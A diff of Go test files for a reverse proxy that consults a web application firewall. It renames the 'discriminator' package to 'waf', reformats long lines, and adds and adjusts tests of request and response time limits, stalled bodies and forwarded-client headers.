@@ -227,8 +264,13 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.
 	})
 
 	got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
-	if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
-		t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
+	if got.status != http.StatusOK ||
+		got.header.Get(contentLengthHeader) != announced {
+		t.Errorf(
+			"answered %+v, want the app's 200 announcing %s bytes",
+			got,
+			announced,
+		)
 	}
 }
 
@@ -241,18 +283,26 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
 		t.Run(setting, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				setting: "off",
-			})
+			addr, _ := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					setting: "off",
+				},
+			)
 
 			// A body and an answer that a limit of zero would cut off, as it would the
 			// next answer, which rproxy gives itself.
-			wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
-				strings.NewReader("a body"))))
+			wantGreeting(
+				t,
+				visit(t, newRequest(t, http.MethodPost, addr, "/",
+					strings.NewReader("a body"))),
+			)
 
-			if got := get(t, addr, discriminator.HealthPath); got.status != http.StatusOK {
+			if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
 				t.Errorf("answered %+v, want rproxy's own 200", got)
 			}
 		})
@@ -271,11 +321,16 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				maxRequestTime: "500",
-			})
+			addr, out := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestTime: "500",
+				},
+			)
 
 			conn := dial(t, addr)
 			send(t, conn, post+tc.rest)
@@ -290,7 +345,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
 			}
 
 			if len(standIn.questions) != 0 {
-				t.Error("discriminator was asked")
+				t.Error("waf was asked")
 			}
 
 			standIn.wantNoReport(t)
@@ -301,7 +356,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
 func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, greet)
 	addr, out := startRProxy(t, standIn.URL, app.URL, nil)
 
@@ -315,11 +370,13 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
 	}
 
 	if len(standIn.questions) != 0 {
-		t.Error("discriminator was asked")
+		t.Error("waf was asked")
 	}
 }
 
-func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
+func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -335,7 +392,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
 			addr, out := startRProxy(t, standIn.URL, app.URL, nil)
 
@@ -356,8 +413,11 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 
 			text, err := io.ReadAll(conn)
 			if err != nil || len(text) != 0 {
-				t.Errorf("read %q (%v), want the connection closed without an answer",
-					text, err)
+				t.Errorf(
+					"read %q (%v), want the connection closed without an answer",
+					text,
+					err,
+				)
 			}
 
 			line := out.requestLine(t)
@@ -366,7 +426,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 			}
 
 			if len(standIn.questions) != 0 {
-				t.Error("discriminator was asked")
+				t.Error("waf was asked")
 			}
 		})
 	}
@@ -382,13 +442,28 @@ type deadlineRecorder struct {
 	// stalled, if set, sends the part of the request body that never arrives. A
 	// read deadline that has passed ends a read of it, as on a connection.
 	stalled *io.PipeWriter
+	// flushError, if set, is what every flush returns, and nothing is flushed.
+	flushError error
+}
+
+// FlushError, which http.ResponseController calls to flush, returns flushError
+// if it is set, and otherwise flushes.
+func (w *deadlineRecorder) FlushError() error {
+	if w.flushError != nil {
+		return w.flushError
+	}
+
+	w.Flush()
+
+	return nil
 }
 
 // SetReadDeadline notes deadline.
 func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
 	w.readDeadline = deadline
 
-	if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
+	if w.stalled != nil && !deadline.IsZero() &&
+		!deadline.After(time.Now()) {
 		_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
 	}
 
@@ -412,7 +487,7 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
 		announced = 100 * questionBodyMaxBytes
 	)
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		w.WriteHeader(http.StatusNoContent)
 	})
@@ -425,12 +500,22 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
 
 	t.Cleanup(func() { _ = stop.Close() })
 
-	req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
-		io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodPost,
+		"/",
+		io.MultiReader(
+			bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
+			stalled,
+		),
+	)
 	req.ContentLength = announced
 	req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
 
-	w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
+	w := &deadlineRecorder{
+		ResponseRecorder: httptest.NewRecorder(),
+		stalled:          stop,
+	}
 
 	before := time.Now()
 
@@ -442,8 +527,62 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
 
 	if w.readDeadline.Before(before.Add(limit)) ||
 		w.readDeadline.After(time.Now().Add(limit)) {
-		t.Errorf("the reading of the body ends at %s, want %s from the request",
-			w.readDeadline, limit)
+		t.Errorf(
+			"the reading of the body ends at %s, want %s from the request",
+			w.readDeadline,
+			limit,
+		)
+	}
+}
+
+func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	standIn := startWAF(t, allow)
+	app := startApp(t, answerBeforeTheBody)
+	_, _, server := startServer(t, standIn.URL, app.URL, nil)
+
+	// The visitor sends the first part and a little more, and then nothing.
+	stalled, stop := io.Pipe()
+
+	t.Cleanup(func() { _ = stop.Close() })
+
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodPost,
+		"/",
+		io.MultiReader(
+			bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
+			stalled,
+		),
+	)
+	req.ContentLength = 2 * questionBodyMaxBytes
+	req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
+
+	// Every flush fails, as once the time to send the answer has run out. The
+	// default time limits are far longer than the test, so rproxy records no
+	// refusal.
+	w := &deadlineRecorder{
+		ResponseRecorder: httptest.NewRecorder(),
+		stalled:          stop,
+		flushError:       os.ErrDeadlineExceeded,
+	}
+
+	before := time.Now()
+
+	server.Handler.ServeHTTP(w, req)
+
+	if w.Code != http.StatusOK {
+		t.Errorf("status %d, want the app's 200", w.Code)
+	}
+
+	if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
+		t.Errorf(
+			"the reading of the body ends at %s, want now",
+			w.readDeadline,
+		)
 	}
 }
 
@@ -456,20 +595,32 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
 		name, target string
 		status       int
 	}{
-		{"discriminator's deny", "/", http.StatusForbidden},
+		{"waf's deny", "/", http.StatusForbidden},
 		{"rproxy's own 400", "x:admin", http.StatusBadRequest},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, deny)
+			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
-				maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
-			})
+			_, _, server := startServer(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxResponseTime: strconv.FormatInt(
+						limit.Milliseconds(),
+						10,
+					),
+				},
+			)
 
-			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
-				http.NoBody)
+			req := httptest.NewRequestWithContext(
+				t.Context(),
+				http.MethodGet,
+				tc.target,
+				http.NoBody,
+			)
 			w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
 
 			before := time.Now()
@@ -482,25 +633,35 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
 
 			if w.writeDeadline.Before(before.Add(limit)) ||
 				w.writeDeadline.After(time.Now().Add(limit)) {
-				t.Errorf("the time limit on sending ends at %s, want %s from the answer",
-					w.writeDeadline, limit)
+				t.Errorf(
+					"the time limit on sending ends at %s, want %s from the answer",
+					w.writeDeadline,
+					limit,
+				)
 			}
 		})
 	}
 }
 
-func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
+func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const least = 10 * time.Second
 
-	standIn := startDiscriminator(t, deny)
+	standIn := startWAF(t, deny)
 	app := startApp(t, greet)
 	_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
 		maxResponseTime: "300",
 	})
 
-	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodGet,
+		"/",
+		http.NoBody,
+	)
 	w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
 
 	before := time.Now()
@@ -508,15 +669,18 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
 	server.Handler.ServeHTTP(w, req)
 
 	if w.writeDeadline.Before(before.Add(least)) {
-		t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
-			w.writeDeadline, least)
+		t.Errorf(
+			"the time limit on sending ends at %s, want %s from the answer at least",
+			w.writeDeadline,
+			least,
+		)
 	}
 }
 
 func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
 		maxRequestTime: "3000",
@@ -530,7 +694,9 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
 		t.Errorf("status %d, want 408", status)
 	}
 
-	if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
+	if asked := standIn.question(t); len(
+		asked.body,
+	) != questionBodyMaxBytes {
 		t.Errorf("the question carries %d bytes", len(asked.body))
 	}
 
@@ -544,7 +710,11 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
 func startAppThatTakesNothing(t *testing.T) string {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	listener, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -585,7 +755,7 @@ func TestAnAppTooSlowToTakeTheRequestIsAnswered504(t *testing.T) {
 		writeSize = 32 << 10
 	)
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	addr, _ := startRProxy(t, standIn.URL, startAppThatTakesNothing(t),
 		map[string]string{maxRequestTime: "3000"})
 
@@ -612,7 +782,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
 	t.Parallel()
 
 	release := make(chan struct{})
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		<-release
 	})
@@ -633,7 +803,9 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
 	}
 }
 
-func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
+func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	// Four visitors at a time, each with an app and rproxy of its own, send more
@@ -658,7 +830,7 @@ func visitAsTheTimeRunsOut(t *testing.T) {
 	// answerAfter is how long the app waits before it answers.
 	var answerAfter atomic.Int64
 
-	backend := startDiscriminatorAnsweringReports(t, allow,
+	backend := startWAFAnsweringReports(t, allow,
 		func(w http.ResponseWriter, _ *http.Request) {
 			w.WriteHeader(http.StatusNoContent)
 		})
@@ -701,7 +873,7 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
 	const start = "the start"
 
 	release := make(chan struct{})
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		_, _ = io.WriteString(w, start)
 		_ = http.NewResponseController(w).Flush()
@@ -732,8 +904,13 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
 
 	if res.StatusCode != http.StatusOK || string(body) != start ||
 		!errors.Is(err, io.ErrUnexpectedEOF) {
-		t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
-			res.StatusCode, body, err, start)
+		t.Errorf(
+			"answered %d %q (%v), want the app's 200 %q, then the connection closed",
+			res.StatusCode,
+			body,
+			err,
+			start,
+		)
 	}
 
 	if report := standIn.report(t); report.Status != http.StatusOK {
@@ -750,7 +927,7 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
 		writeSize = 32 << 10
 	)
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		part := make([]byte, writeSize)
 
@@ -774,20 +951,24 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
 	line := out.requestLine(t)
 
 	responseBytes, _ := line["response_bytes"].(float64)
-	if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
+	if line["status"] != float64(http.StatusOK) ||
+		responseBytes >= bodySize {
 		t.Errorf("line %v, want status 200 and the answer cut off", line)
 	}
 
 	report := standIn.report(t)
 	if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
-		t.Errorf("report %+v, want status 200 and the answer cut off", report)
+		t.Errorf(
+			"report %+v, want status 200 and the answer cut off",
+			report,
+		)
 	}
 }
 
 func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
 
 	got := get(t, addr, "/")
@@ -800,15 +981,19 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
 	}
 }
 
-func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
+func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(
+	t *testing.T,
+) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		_, _ = io.WriteString(w, greeting)
 	})
+	// The request time limit is far longer than dial's deadline, so that a busy
+	// host cannot use it up before the app's answer arrives.
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		maxRequestTime: "3000",
+		maxRequestTime: "120000",
 	})
 
 	// Far more announced than sent, so that Go's server answers for the app
@@ -867,13 +1052,13 @@ func readAnswer(t *testing.T, conn net.Conn) answered {
 func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, answerBeforeTheBody)
-	// The request time limit is longer than the 10 seconds the status and headers
-	// of an answer have to be sent, and than dial's deadline.
+	// Both time limits are far longer than dial's deadline, so that the answer
+	// has to come before either runs out, and a busy host cannot use them up.
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		maxRequestTime:  "15000",
-		maxResponseTime: "300",
+		maxRequestTime:  "120000",
+		maxResponseTime: "60000",
 	})
 
 	conn := dial(t, addr)
@@ -882,12 +1067,14 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
 	wantGreeting(t, readAnswer(t, conn))
 }
 
-func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
+func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const limit = 2 * time.Second
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, answerBeforeTheBody)
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
 		maxRequestTime: strconv.FormatInt(limit.Milliseconds(), 10),
@@ -906,7 +1093,96 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.
 	}
 
 	if closed := time.Since(start); closed < limit {
-		t.Errorf("the connection closed after %s, want %s at least", closed, limit)
+		t.Errorf(
+			"the connection closed after %s, want %s at least",
+			closed,
+			limit,
+		)
+	}
+}
+
+func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOff(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	// rproxy passes on a part sent at once well within this limit, even on a busy
+	// host.
+	const limit = 2 * time.Second
+
+	// The app sends the parts in atOnce with its status and headers. It sends the
+	// parts in late only once rproxy has ended the request to it, which rproxy
+	// does when it cuts off the answer, so that those never reach the visitor.
+	for _, tc := range []struct {
+		name         string
+		atOnce, late []string
+	}{
+		{"with the body in one part", nil, []string{greeting}},
+		{"with the body in two parts", []string{greeting[:5]}, []string{greeting[5:]}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startWAF(t, allow)
+			app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+				rc := http.NewResponseController(w)
+				_ = rc.EnableFullDuplex()
+
+				w.Header().
+					Set(contentLengthHeader, strconv.Itoa(len(greeting)))
+
+				for _, part := range tc.atOnce {
+					_, _ = io.WriteString(w, part)
+				}
+
+				_ = rc.Flush()
+
+				// The request's body ends when rproxy ends the request to the app.
+				_, _ = io.Copy(io.Discard, r.Body)
+
+				for _, part := range tc.late {
+					_, _ = io.WriteString(w, part)
+					_ = rc.Flush()
+				}
+			})
+
+			// The request time limit is far longer than dial's deadline.
+			addr, _ := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestTime: "120000",
+					maxResponseTime: strconv.FormatInt(
+						limit.Milliseconds(),
+						10,
+					),
+				},
+			)
+
+			conn := dial(t, addr)
+			sendAllButALittle(t, conn)
+
+			res, err := http.ReadResponse(bufio.NewReader(conn), nil)
+			if err != nil {
+				t.Fatalf("read the answer: %v", err)
+			}
+
+			// If the connection stays open, dial's deadline ends this read with a
+			// timeout.
+			body, err := io.ReadAll(res.Body)
+			_ = res.Body.Close()
+
+			want := strings.Join(tc.atOnce, "")
+			if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
+				t.Errorf(
+					"read %q (%v), want %q and the connection closed",
+					body,
+					err,
+					want,
+				)
+			}
+		})
 	}
 }
 
@@ -914,7 +1190,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
 	t.Parallel()
 
 	working := make(chan struct{})
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
 		close(working)
 		<-r.Context().Done()
@@ -942,7 +1218,11 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
 
 	text, err := io.ReadAll(conn)
 	if err != nil || len(text) != 0 {
-		t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
+		t.Errorf(
+			"read %q (%v), want the connection closed without an answer",
+			text,
+			err,
+		)
 	}
 
 	if line := out.requestLine(t); line["status"] != 0.0 {
@@ -950,12 +1230,14 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
 	}
 }
 
-func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
+func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const answer = "the end of a long answer"
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		_, _ = io.Copy(io.Discard, r.Body)
 		_ = http.NewResponseController(w).Flush()
@@ -968,13 +1250,28 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
 		maxRequestTime: "2000",
 	})
 
-	got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
+	got := visit(
+		t,
+		newRequest(
+			t,
+			http.MethodPost,
+			addr,
+			"/",
+			strings.NewReader("a body"),
+		),
+	)
 	if got.status != http.StatusOK || got.body != answer {
-		t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
+		t.Errorf(
+			"answered %d %q, want the app's whole answer",
+			got.status,
+			got.body,
+		)
 	}
 }
 
-func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
+func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -984,21 +1281,26 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T
 		{"a deny", post, http.StatusForbidden},
 		{
 			"the health check",
-			"GET " + discriminator.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
+			"GET " + waf.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
 			http.StatusOK,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, deny)
+			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
 			// The request time limit is longer than the 10 seconds an answer rproxy
 			// gives itself has to be sent, and than dial's deadline.
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				maxRequestTime:  "15000",
-				maxResponseTime: "300",
-			})
+			addr, _ := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestTime:  "15000",
+					maxResponseTime: "300",
+				},
+			)
 
 			// The body stops 100 bytes short, less than Go's server reads of a body
 			// left unread before it answers.

internal/rproxy/question_test.go

@@ -12,11 +12,11 @@ import (
 	"strings"
 	"testing"
 
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // questionBodyMaxBytes is the most of a body a question carries.
-const questionBodyMaxBytes = discriminator.QuestionBodyMaxBytes
+const questionBodyMaxBytes = waf.QuestionBodyMaxBytes
 
 // chunked is the encoding of a body whose length the visitor did not announce.
 const chunked = "chunked"
@@ -29,7 +29,7 @@ const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
 func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
 
@@ -42,9 +42,9 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	req.Header.Set(forwardedForHeader, "198.51.100.1")
 	req.Header.Set(forwardedProtoHeader, "gopher")
 	req.Header.Set(requestIDHeader, "the-visitor's")
-	req.Header.Set(discriminator.ClientHeader, "198.51.100.2")
-	req.Header.Set(discriminator.PeerHeader, "198.51.100.3")
-	req.Header.Set(discriminator.ContentLengthHeader, "12345")
+	req.Header.Set(waf.ClientHeader, "198.51.100.2")
+	req.Header.Set(waf.PeerHeader, "198.51.100.3")
+	req.Header.Set(waf.ContentLengthHeader, "12345")
 	// Go's client then sends no User-Agent, so that one in the question would be
 	// Go's own.
 	req.Header["User-Agent"] = nil
@@ -54,7 +54,12 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	asked := standIn.question(t)
 	if asked.method != http.MethodDelete || asked.target != target ||
 		asked.host != site {
-		t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
+		t.Errorf(
+			"asked about %s %s at %s",
+			asked.method,
+			asked.target,
+			asked.host,
+		)
 	}
 
 	if asked.header.Get(requestIDHeader) == "the-visitor's" {
@@ -68,11 +73,15 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	want.Set(forwardedForHeader, "198.51.100.1")
 	want.Set(forwardedProtoHeader, "http")
 	want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
-	want.Set(discriminator.ClientHeader, localhost)
-	want.Set(discriminator.PeerHeader, localhost)
+	want.Set(waf.ClientHeader, localhost)
+	want.Set(waf.PeerHeader, localhost)
 
 	if !maps.EqualFunc(asked.header, want, slices.Equal) {
-		t.Errorf("the question's headers are %v, want %v", asked.header, want)
+		t.Errorf(
+			"the question's headers are %v, want %v",
+			asked.header,
+			want,
+		)
 	}
 }
 
@@ -93,16 +102,21 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			forwarded := make(chan http.Header, 1)
 			app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 				forwarded <- r.Header.Clone()
 
 				greet(w, r)
 			})
-			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				trustedProxies: tc.trusted,
-			})
+			addr, out := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					trustedProxies: tc.trusted,
+				},
+			)
 
 			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 			req.Header.Set(forwardedForHeader, visitor)
@@ -110,8 +124,8 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
 			wantGreeting(t, visit(t, req))
 
 			asked := standIn.question(t)
-			if asked.header.Get(discriminator.ClientHeader) != tc.client ||
-				asked.header.Get(discriminator.PeerHeader) != localhost ||
+			if asked.header.Get(waf.ClientHeader) != tc.client ||
+				asked.header.Get(waf.PeerHeader) != localhost ||
 				asked.header.Get(forwardedForHeader) != visitor ||
 				asked.header.Get(forwardedProtoHeader) != tc.proto {
 				t.Errorf("the question's headers are %v", asked.header)
@@ -122,7 +136,12 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
 			}
 
 			if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
-				t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
+				t.Errorf(
+					"the app saw %s %q, want %q",
+					forwardedForHeader,
+					got,
+					tc.forwarded,
+				)
 			}
 		})
 	}
@@ -157,17 +176,22 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				trustedProxies: localhost + "/32,10.0.0.0/8",
-			})
+			addr, _ := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					trustedProxies: localhost + "/32,10.0.0.0/8",
+				},
+			)
 
 			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 			req.Header[forwardedForHeader] = tc.header
 			wantGreeting(t, visit(t, req))
 
-			if got := standIn.question(t).header.Get(discriminator.ClientHeader); got !=
+			if got := standIn.question(t).header.Get(waf.ClientHeader); got !=
 				tc.client {
 				t.Errorf("the question names %s, want %s", got, tc.client)
 			}
@@ -183,7 +207,7 @@ func randomBytes(n int) []byte {
 	return body
 }
 
-func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
+func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
 	t.Parallel()
 
 	for _, size := range []int{
@@ -198,17 +222,26 @@ func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
 				t.Parallel()
 
 				body := randomBytes(size)
-				standIn := startDiscriminator(t, allow)
+				standIn := startWAF(t, allow)
